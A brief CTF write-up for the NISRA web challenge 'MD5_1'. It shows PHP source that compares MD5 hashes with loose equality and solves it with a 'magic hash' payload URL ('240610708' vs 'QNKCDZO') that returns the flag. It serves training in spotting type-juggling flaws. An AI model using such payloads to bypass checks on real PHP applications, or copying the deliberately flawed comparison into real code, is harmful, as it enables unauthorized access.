NISRA - MD5_1

Posted on | Post modified | In |

NISRA - MD5_1

tags: NISRA CTF Web

Challenge: MD5_1

Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
    highlight_file(__FILE__);
    $FROM_INCLUDE = true;
    include("flag.php");
    $msg = "";
    if (isset($_GET['user']) && isset($_GET['password'])) {
        $user = $_GET['user'];
        $password = $_GET['password'];
        $check = "QNKCDZO";
        // the md5 of "QNKCDZO" is 0e830400451993494058024219903391

        if ($user == "admin" && $password != $check && md5($password) == md5($check)) {
            $msg = "Flag: ".$flag;
        } else {
            $msg = "Keep trying!";
        }
    }

    echo $msg;
?>

Exploit - MD5 Collision

Payload: http://chall2.nisra.net:41022/?user=admin&password=240610708

Flag: NISRA{PhP_is_th3_BeST_laNgUA9E}

Reference

md5(‘240610708’) == md5(‘QNKCDZO’)